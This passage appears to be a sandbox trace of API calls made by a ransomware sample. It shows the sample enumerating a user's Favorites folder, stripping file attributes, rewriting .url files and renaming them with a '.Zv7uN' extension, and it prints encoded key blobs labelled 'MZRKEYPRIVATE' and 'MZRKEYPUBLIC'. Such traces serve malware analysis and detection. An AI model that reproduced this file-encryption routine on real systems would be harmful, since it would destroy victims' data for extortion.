dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.067] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.067] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.067] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.067] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.067] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0125.067] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.067] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.067] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec)) returned 1 [0125.083] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url")) returned 0x20 [0125.083] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", dwFileAttributes=0x80) returned 1 [0125.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0125.093] GetCurrentThreadId () returned 0xa30 [0125.093] GetCurrentThreadId () returned 0xa30 [0125.093] GetCurrentThreadId () returned 0xa30 [0125.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.094] GetCurrentThreadId () returned 0xa30 [0125.094] GetCurrentThreadId () returned 0xa30 [0125.094] GetCurrentThreadId () returned 0xa30 [0125.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.094] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.094] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.094] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xec [0125.095] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.095] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0xec, lpOverlapped=0x0) returned 1 [0125.097] CloseHandle (hObject=0x1ec) returned 1 [0125.097] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.099] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0xec, lpOverlapped=0x0) returned 1 [0125.102] CloseHandle (hObject=0x1ec) returned 1 [0125.102] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.zv7un")) returned 1 [0125.103] GetCurrentThreadId () returned 0xa30 [0125.103] GetCurrentThreadId () returned 0xa30 [0125.103] GetCurrentThreadId () returned 0xa30 [0125.103] GetCurrentThreadId () returned 0xa30 [0125.103] GetCurrentThreadId () returned 0xa30 [0125.103] GetCurrentThreadId () returned 0xa30 [0125.103] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0125.104] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.104] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.104] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2)) returned 1 [0125.104] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url")) returned 0x20 [0125.104] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", dwFileAttributes=0x80) returned 1 [0125.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 